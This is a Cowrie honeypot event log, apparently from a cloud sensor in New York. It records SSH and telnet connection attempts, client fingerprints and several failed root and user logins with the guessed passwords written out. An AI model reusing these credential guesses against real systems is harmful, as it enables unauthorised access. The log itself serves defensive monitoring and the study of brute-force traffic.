{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":48100,"dst_ip":"10.17.0.5","dst_port":22,"session":"919c0549658b","protocol":"ssh","message":"New connection: 109.172.54.111:48100 (10.17.0.5:22) [session: 919c0549658b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:37.654911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:37.659521Z","src_ip":"109.172.54.111","session":"919c0549658b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:37.758911Z","src_ip":"109.172.54.111","session":"919c0549658b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qaz","message":"login attempt [root/12345qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:38.049814Z","src_ip":"109.172.54.111","session":"919c0549658b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:39.149443Z","src_ip":"109.172.54.111","session":"919c0549658b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":53154,"dst_ip":"10.17.0.5","dst_port":22,"session":"e215f6a73662","protocol":"ssh","message":"New connection: 192.169.243.246:53154 (10.17.0.5:22) [session: e215f6a73662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:40.468693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:40.473171Z","src_ip":"192.169.243.246","session":"e215f6a73662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:40.545882Z","src_ip":"192.169.243.246","session":"e215f6a73662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987poiu","message":"login attempt [root/0987poiu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:40.923127Z","src_ip":"192.169.243.246","session":"e215f6a73662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:42.001846Z","src_ip":"192.169.243.246","session":"e215f6a73662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.94453144073486,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:45.335298Z","src_ip":"152.42.224.71","session":"7efde0a4501c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.32255482673645,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:45.927428Z","src_ip":"152.42.224.71","session":"fab99612fd49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.202.9.133","src_port":43326,"dst_ip":"10.17.0.5","dst_port":23,"session":"da19d289bcd9","protocol":"telnet","message":"New connection: 35.202.9.133:43326 (10.17.0.5:23) [session: da19d289bcd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:50.145003Z"}
{"eventid":"cowrie.session.closed","duration":120.00373697280884,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:50.763454Z","src_ip":"152.42.224.71","session":"7c90a639b067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.430481910705566,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:51.751406Z","src_ip":"152.42.224.71","session":"52c43e173621","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.12307906150818,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:53.526917Z","src_ip":"152.42.224.71","session":"44635c7b7d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53362,"dst_ip":"10.17.0.5","dst_port":23,"session":"65bc5a8121b4","protocol":"telnet","message":"New connection: 152.42.224.71:53362 (10.17.0.5:23) [session: 65bc5a8121b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:55.716004Z"}
{"eventid":"cowrie.session.closed","duration":85.43766450881958,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:57.321216Z","src_ip":"152.42.224.71","session":"969bd54d6cf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43092,"dst_ip":"10.17.0.5","dst_port":23,"session":"9524a5e5b5c9","protocol":"telnet","message":"New connection: 152.42.224.71:43092 (10.17.0.5:23) [session: 9524a5e5b5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:00.742133Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43084,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a6cf90d3f0f","protocol":"telnet","message":"New connection: 152.42.224.71:43084 (10.17.0.5:23) [session: 8a6cf90d3f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:00.767486Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43096,"dst_ip":"10.17.0.5","dst_port":23,"session":"a763a39256cf","protocol":"telnet","message":"New connection: 152.42.224.71:43096 (10.17.0.5:23) [session: a763a39256cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:00.986976Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":41744,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea17691df62f","protocol":"ssh","message":"New connection: 103.149.28.157:41744 (159.203.135.109:22) [session: ea17691df62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:01.161366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:01.166591Z","src_ip":"103.149.28.157","session":"ea17691df62f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:01.421052Z","src_ip":"103.149.28.157","session":"ea17691df62f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paulie007","message":"login attempt [root/paulie007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:02.183942Z","src_ip":"103.149.28.157","session":"ea17691df62f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.2242095470428467,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:03.211039Z","src_ip":"152.42.224.71","session":"a763a39256cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:03.441383Z","src_ip":"103.149.28.157","session":"ea17691df62f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44724,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cc00523083e","protocol":"telnet","message":"New connection: 152.42.224.71:44724 (10.17.0.5:23) [session: 0cc00523083e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:06.301287Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":48408,"dst_ip":"10.17.0.5","dst_port":22,"session":"69e55abe1893","protocol":"ssh","message":"New connection: 62.133.62.83:48408 (10.17.0.5:22) [session: 69e55abe1893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:12.035010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:12.045772Z","src_ip":"62.133.62.83","session":"69e55abe1893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.772191047668457,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:12.073340Z","src_ip":"152.42.224.71","session":"0cc00523083e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:12.125587Z","src_ip":"62.133.62.83","session":"69e55abe1893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ericsson","message":"login attempt [root/ericsson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:12.366660Z","src_ip":"62.133.62.83","session":"69e55abe1893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:13.451641Z","src_ip":"62.133.62.83","session":"69e55abe1893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.399663209915161,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:14.167006Z","src_ip":"152.42.224.71","session":"8a6cf90d3f0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43906,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1f969ec3af4","protocol":"telnet","message":"New connection: 152.42.224.71:43906 (10.17.0.5:23) [session: c1f969ec3af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:27.603985Z"}
{"eventid":"cowrie.session.closed","duration":40.03556942939758,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:30.180499Z","src_ip":"35.202.9.133","session":"da19d289bcd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":43188,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b14c5853d3c","protocol":"ssh","message":"New connection: 102.210.148.92:43188 (159.203.135.109:22) [session: 0b14c5853d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:31.185477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:31.193888Z","src_ip":"102.210.148.92","session":"0b14c5853d3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:31.443173Z","src_ip":"102.210.148.92","session":"0b14c5853d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terra","password":"terra","message":"login attempt [terra/terra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:32.464706Z","src_ip":"102.210.148.92","session":"0b14c5853d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:33.715922Z","src_ip":"102.210.148.92","session":"0b14c5853d3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43908,"dst_ip":"10.17.0.5","dst_port":23,"session":"68464c92eabd","protocol":"telnet","message":"New connection: 152.42.224.71:43908 (10.17.0.5:23) [session: 68464c92eabd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:34.276238Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":54696,"dst_ip":"10.17.0.5","dst_port":22,"session":"9705244f95b7","protocol":"ssh","message":"New connection: 43.153.37.39:54696 (10.17.0.5:22) [session: 9705244f95b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:43.334255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:43.338242Z","src_ip":"43.153.37.39","session":"9705244f95b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:43.405845Z","src_ip":"43.153.37.39","session":"9705244f95b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456.","message":"login attempt [root/aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:43.710537Z","src_ip":"43.153.37.39","session":"9705244f95b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:44.782074Z","src_ip":"43.153.37.39","session":"9705244f95b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":41480,"dst_ip":"159.203.135.109","dst_port":23,"session":"b152083d4c00","protocol":"telnet","message":"New connection: 209.127.178.212:41480 (159.203.135.109:23) [session: b152083d4c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:47.984934Z"}
{"eventid":"cowrie.session.closed","duration":52.05990958213806,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:52.801924Z","src_ip":"152.42.224.71","session":"9524a5e5b5c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60656,"dst_ip":"10.17.0.5","dst_port":23,"session":"402410eb47fd","protocol":"telnet","message":"New connection: 152.42.224.71:60656 (10.17.0.5:23) [session: 402410eb47fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:53.859343Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":51354,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e4ab99f0fe8","protocol":"ssh","message":"New connection: 192.169.243.246:51354 (10.17.0.5:22) [session: 2e4ab99f0fe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:54.132925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:54.143332Z","src_ip":"192.169.243.246","session":"2e4ab99f0fe8","protocol":"ssh"}
